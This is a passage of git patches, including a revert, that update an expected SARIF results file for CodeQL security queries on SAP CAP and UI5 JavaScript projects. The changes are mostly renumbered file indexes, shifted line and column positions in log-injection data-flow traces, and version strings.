+                  "index" : 49
+                },
+                "region" : {
+                  "startLine" : 7,
+                  "startColumn" : 39,
+                  "endColumn" : 47
+                }
+              },
+              "message" : {
+                "text" : "req.data"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 49
+                },
+                "region" : {
+                  "startLine" : 7,
+                  "startColumn" : 19,
+                  "endColumn" : 36
+                }
+              },
+              "message" : {
+                "text" : "{ messageToPass }"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 49
+                },
+                "region" : {
+                  "startLine" : 7,
+                  "startColumn" : 21,
+                  "endColumn" : 34
+                }
+              },
+              "message" : {
+                "text" : "messageToPass"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 49
+                },
+                "region" : {
+                  "startLine" : 7,
+                  "startColumn" : 19,
+                  "endColumn" : 47
+                }
+              },
+              "message" : {
+                "text" : "messageToPass"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 49
+                },
+                "region" : {
+                  "startLine" : 9,
+                  "startColumn" : 38,
+                  "endColumn" : 51
+                }
+              },
+              "message" : {
+                "text" : "messageToPass"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 49
+                },
+                "region" : {
+                  "startLine" : 9,
+                  "startColumn" : 36,
+                  "endColumn" : 53
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 49
+                  "index" : 52
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 39,
-                  "endColumn" : 42
+                  "startLine" : 6,
+                  "startColumn" : 29,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 49
+                  "index" : 52
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 39,
-                  "endColumn" : 47
+                  "startColumn" : 35,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "req.data"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 49
+                  "index" : 52
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 19,
-                  "endColumn" : 36
+                  "startColumn" : 35,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "{ messageToPass }"
+                "text" : "msg.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 49
+                  "index" : 52
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 21,
-                  "endColumn" : 34
+                  "startColumn" : 15,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 49
+                  "index" : 52
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 19,
-                  "endColumn" : 47
+                  "startColumn" : 17,
+                  "endColumn" : 30
                 }
               },
               "message" : {
@@ -22902,14 +22317,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 49
+                  "index" : 52
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 38,
-                  "endColumn" : 51
+                  "startLine" : 7,
+                  "startColumn" : 15,
+                  "endColumn" : 43
                 }
               },
               "message" : {
@@ -22920,27 +22335,31 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 49
+                  "index" : 52
                 },
                 "region" : {
                   "startLine" : 9,
-                  "startColumn" : 36,
-                  "endColumn" : 53
+                  "startColumn" : 32,
+                  "endColumn" : 45
                 }
               },
               "message" : {
-                "text" : "{ messageToPass }"
+                "text" : "messageToPass"
               }
             }
-          }, {
+          } ]
+        } ]
+      }, {
+        "threadFlows" : [ {
+          "locations" : [ {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 51
+                  "index" : 52
                 },
                 "region" : {
                   "startLine" : 6,
@@ -22958,7 +22377,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 51
+                  "index" : 52
                 },
                 "region" : {
                   "startLine" : 7,
@@ -22976,7 +22395,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 51
+                  "index" : 52
                 },
                 "region" : {
                   "startLine" : 7,
@@ -22994,7 +22413,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 51
+                  "index" : 52
                 },
                 "region" : {
                   "startLine" : 7,
@@ -23012,7 +22431,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 51
+                  "index" : 52
                 },
                 "region" : {
                   "startLine" : 7,
@@ -23030,7 +22449,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 51
+                  "index" : 52
                 },
                 "region" : {
                   "startLine" : 7,
@@ -23048,7 +22467,7 @@
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 51
+                  "index" : 52
                 },
                 "region" : {
                   "startLine" : 9,
@@ -23080,6 +22499,23 @@
         "message" : {
           "text" : "user-provided value"
         }
+      }, {
+        "id" : 2,
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 52
+          },
+          "region" : {
+            "startLine" : 6,
+            "startColumn" : 29,
+            "endColumn" : 32
+          }
+        },
+        "message" : {
+          "text" : "user-provided value"
+        }
       } ]
     }, {
       "ruleId" : "js/cap-log-injection",
@@ -23117,68 +22553,68 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 58
+                  "index" : 57
                 },
                 "region" : {
                   "startLine" : 6,
-                  "startColumn" : 29,
-                  "endColumn" : 32
+                  "startColumn" : 33,
+                  "endColumn" : 36
                 }
               },
               "message" : {
-                "text" : "msg"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 58
+                  "index" : 57
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 35,
-                  "endColumn" : 38
+                  "startColumn" : 39,
+                  "endColumn" : 42
                 }
               },
               "message" : {
-                "text" : "msg"
+                "text" : "req"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 58
+                  "index" : 57
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 35,
-                  "endColumn" : 43
+                  "startColumn" : 39,
+                  "endColumn" : 47
                 }
               },
               "message" : {
-                "text" : "msg.data"
+                "text" : "req.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 58
+                  "index" : 57
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 15,
-                  "endColumn" : 32
+                  "startColumn" : 19,
+                  "endColumn" : 36
                 }
               },
               "message" : {
@@ -23189,14 +22625,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 58
+                  "index" : 57
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 17,
-                  "endColumn" : 30
+                  "startColumn" : 21,
+                  "endColumn" : 34
                 }
               },
               "message" : {
@@ -23207,14 +22643,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 58
+                  "index" : 57
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 15,
-                  "endColumn" : 43
+                  "startColumn" : 19,
+                  "endColumn" : 47
                 }
               },
               "message" : {
@@ -23225,126 +22661,122 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 58
+                  "index" : 57
                 },
                 "region" : {
                   "startLine" : 9,
-                  "startColumn" : 32,
-                  "endColumn" : 45
+                  "startColumn" : 38,
+                  "endColumn" : 51
                 }
               },
               "message" : {
                 "text" : "messageToPass"
               }
             }
-          } ]
-        } ]
-      }, {
-        "threadFlows" : [ {
-          "locations" : [ {
+          }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
                   "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 56
+                  "index" : 57
                 },
                 "region" : {
-                  "startLine" : 6,
-                  "startColumn" : 33,
-                  "endColumn" : 36
+                  "startLine" : 9,
+                  "startColumn" : 36,
+                  "endColumn" : 53
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 56
+                  "index" : 58
                 },
                 "region" : {
-                  "startLine" : 7,
-                  "startColumn" : 39,
-                  "endColumn" : 42
+                  "startLine" : 6,
+                  "startColumn" : 29,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "req"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 56
+                  "index" : 58
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 39,
-                  "endColumn" : 47
+                  "startColumn" : 35,
+                  "endColumn" : 38
                 }
               },
               "message" : {
-                "text" : "req.data"
+                "text" : "msg"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 56
+                  "index" : 58
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 19,
-                  "endColumn" : 36
+                  "startColumn" : 35,
+                  "endColumn" : 43
                 }
               },
               "message" : {
-                "text" : "{ messageToPass }"
+                "text" : "msg.data"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 56
+                  "index" : 58
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 21,
-                  "endColumn" : 34
+                  "startColumn" : 15,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "messageToPass"
+                "text" : "{ messageToPass }"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 56
+                  "index" : 58
                 },
                 "region" : {
                   "startLine" : 7,
-                  "startColumn" : 19,
-                  "endColumn" : 47
+                  "startColumn" : 17,
+                  "endColumn" : 30
                 }
               },
               "message" : {
@@ -23355,14 +22787,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 56
+                  "index" : 58
                 },
                 "region" : {
-                  "startLine" : 9,
-                  "startColumn" : 38,
-                  "endColumn" : 51
+                  "startLine" : 7,
+                  "startColumn" : 15,
+                  "endColumn" : 43
                 }
               },
               "message" : {
@@ -23373,21 +22805,25 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+                  "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 56
+                  "index" : 58
                 },
                 "region" : {
                   "startLine" : 9,
-                  "startColumn" : 36,
-                  "endColumn" : 53
+                  "startColumn" : 32,
+                  "endColumn" : 45
                 }
               },
               "message" : {
-                "text" : "{ messageToPass }"
+                "text" : "messageToPass"
               }
             }
-          }, {
+          } ]
+        } ]
+      }, {
+        "threadFlows" : [ {
+          "locations" : [ {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
@@ -23520,14 +22956,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 58
+            "index" : 57
           },
           "region" : {
             "startLine" : 6,
-            "startColumn" : 29,
-            "endColumn" : 32
+            "startColumn" : 33,
+            "endColumn" : 36
           }
         },
         "message" : {
@@ -23537,14 +22973,14 @@
         "id" : 2,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+            "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 56
+            "index" : 58
           },
           "region" : {
             "startLine" : 6,
-            "startColumn" : 33,
-            "endColumn" : 36
+            "startColumn" : 29,
+            "endColumn" : 32
           }
         },
         "message" : {
@@ -23577,7 +23013,7 @@
           }
         },
         "ruleId" : "js/summary/lines-of-code",
-        "value" : 2586
+        "value" : 2563
       }, {
         "rule" : {
           "id" : "js/summary/lines-of-user-code",
@@ -23587,7 +23023,7 @@
           }
         },
         "ruleId" : "js/summary/lines-of-user-code",
-        "value" : 2586,
+        "value" : 2563,
         "baseline" : 0
       } ],
       "semmle.formatSpecifier" : "sarif-latest"

From 3aefa19cce8c2a83fa385344532e98723988840c Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Mon, 25 Mar 2024 14:27:35 -0700
Subject: [PATCH 81/86] Revert "update javascript.sarif.expected"

This reverts commit 3406c277fdb0b9c15165ec65f0108bfb25fa0146.
---
 .github/workflows/javascript.sarif.expected | 4392 +++++++++++--------
 1 file changed, 2478 insertions(+), 1914 deletions(-)

diff --git a/.github/workflows/javascript.sarif.expected b/.github/workflows/javascript.sarif.expected
index a99d7e614..619cca50c 100644
--- a/.github/workflows/javascript.sarif.expected
+++ b/.github/workflows/javascript.sarif.expected
@@ -6,7 +6,7 @@
       "driver" : {
         "name" : "CodeQL",
         "organization" : "GitHub",
-        "semanticVersion" : "2.16.5",
+        "semanticVersion" : "2.16.4",
         "notifications" : [ {
           "id" : "cli/expected-extracted-files/javascript",
           "name" : "cli/expected-extracted-files/javascript",
@@ -44,7 +44,7 @@
       },
       "extensions" : [ {
         "name" : "advanced-security/javascript-sap-cap-queries",
-        "semanticVersion" : "0.1.0+4b9ce87813033cc40312b5daba2b0bcba611ab16",
+        "semanticVersion" : "0.1.0+b1fbd510971da2b65671de1296cb2c3288f6b252",
         "rules" : [ {
           "id" : "js/cap-sql-injection",
           "name" : "js/cap-sql-injection",
@@ -113,7 +113,7 @@
         } ]
       }, {
         "name" : "advanced-security/javascript-sap-ui5-queries",
-        "semanticVersion" : "0.6.0+4b9ce87813033cc40312b5daba2b0bcba611ab16",
+        "semanticVersion" : "0.5.0+b1fbd510971da2b65671de1296cb2c3288f6b252",
         "rules" : [ {
           "id" : "js/ui5-xss",
           "name" : "js/ui5-xss",
@@ -280,7 +280,7 @@
         }
       }, {
         "name" : "codeql/javascript-queries",
-        "semanticVersion" : "0.8.11+769e3469a4dba5512d3084b6027a3978c38c59d7",
+        "semanticVersion" : "0.8.10+2daf50500ca8f7eb914c82e88dec36652bfbe8fd",
         "notifications" : [ {
           "id" : "js/diagnostics/extraction-errors",
           "name" : "js/diagnostics/extraction-errors",
@@ -3086,12 +3086,12 @@
           }
         } ],
         "locations" : [ {
-          "uri" : "file:///opt/hostedtoolcache/CodeQL/2.16.5/x64/codeql/qlpacks/codeql/javascript-queries/0.8.11/",
+          "uri" : "file:///opt/hostedtoolcache/CodeQL/2.16.4/x64/codeql/qlpacks/codeql/javascript-queries/0.8.10/",
           "description" : {
             "text" : "The QL pack root directory."
           }
         }, {
-          "uri" : "file:///opt/hostedtoolcache/CodeQL/2.16.5/x64/codeql/qlpacks/codeql/javascript-queries/0.8.11/qlpack.yml",
+          "uri" : "file:///opt/hostedtoolcache/CodeQL/2.16.4/x64/codeql/qlpacks/codeql/javascript-queries/0.8.10/qlpack.yml",
           "description" : {
             "text" : "The QL pack definition file."
           }
@@ -3105,7 +3105,7 @@
             "artifactLocation" : {
               "uri" : ".github/actions/install-qlt/action.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 4
+              "index" : 5
             }
           }
         } ],
@@ -3131,7 +3131,7 @@
             "artifactLocation" : {
               "uri" : ".github/actions/install-codeql/action.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 5
+              "index" : 6
             }
           }
         } ],
@@ -3157,7 +3157,7 @@
             "artifactLocation" : {
               "uri" : ".github/codeql/codeql-config.yaml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 6
+              "index" : 7
             }
           }
         } ],
@@ -3183,7 +3183,7 @@
             "artifactLocation" : {
               "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 7
+              "index" : 8
             }
           }
         } ],
@@ -3209,7 +3209,7 @@
             "artifactLocation" : {
               "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 8
+              "index" : 9
             }
           }
         } ],
@@ -3233,9 +3233,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/codeql-pack.lock.yml",
+              "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 9
+              "index" : 10
             }
           }
         } ],
@@ -3259,9 +3259,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/qlpack.yml",
+              "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 10
+              "index" : 11
             }
           }
         } ],
@@ -3287,7 +3287,7 @@
             "artifactLocation" : {
               "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/ui5.model.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 11
+              "index" : 12
             }
           }
         } ],
@@ -3313,7 +3313,7 @@
             "artifactLocation" : {
               "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/additional-sources.model.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 12
+              "index" : 13
             }
           }
         } ],
@@ -3339,7 +3339,7 @@
             "artifactLocation" : {
               "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 13
+              "index" : 14
             }
           }
         } ],
@@ -3365,7 +3365,7 @@
             "artifactLocation" : {
               "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 14
+              "index" : 15
             }
           }
         } ],
@@ -3391,7 +3391,7 @@
             "artifactLocation" : {
               "uri" : ".github/workflows/code_scanning.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 15
+              "index" : 16
             }
           }
         } ],
@@ -3417,7 +3417,7 @@
             "artifactLocation" : {
               "uri" : ".github/workflows/run-codeql-unit-tests-javascript.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 16
+              "index" : 17
             }
           }
         } ],
@@ -3443,7 +3443,7 @@
             "artifactLocation" : {
               "uri" : "codeql-workspace.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 17
+              "index" : 18
             }
           }
         } ],
@@ -3469,7 +3469,7 @@
             "artifactLocation" : {
               "uri" : "javascript/frameworks/cap/lib/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 18
+              "index" : 19
             }
           }
         } ],
@@ -3495,7 +3495,7 @@
             "artifactLocation" : {
               "uri" : "javascript/frameworks/cap/lib/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 19
+              "index" : 20
             }
           }
         } ],
@@ -3519,9 +3519,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/src/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/cap/src/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 20
+              "index" : 21
             }
           }
         } ],
@@ -3545,9 +3545,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/src/qlpack.yml",
+              "uri" : "javascript/frameworks/cap/src/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 21
+              "index" : 22
             }
           }
         } ],
@@ -3571,9 +3571,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/qlpack.yml",
+              "uri" : "javascript/frameworks/cap/test/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 22
+              "index" : 23
             }
           }
         } ],
@@ -3597,9 +3597,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/cap/test/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 23
+              "index" : 24
             }
           }
         } ],
@@ -3623,9 +3623,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/log-injection-not-depending-on-request/db/schema.cds.json",
+              "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 24
+              "index" : 1
             }
           }
         } ],
@@ -3649,7 +3649,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 25
             }
@@ -3675,7 +3675,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 26
             }
@@ -3701,7 +3701,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
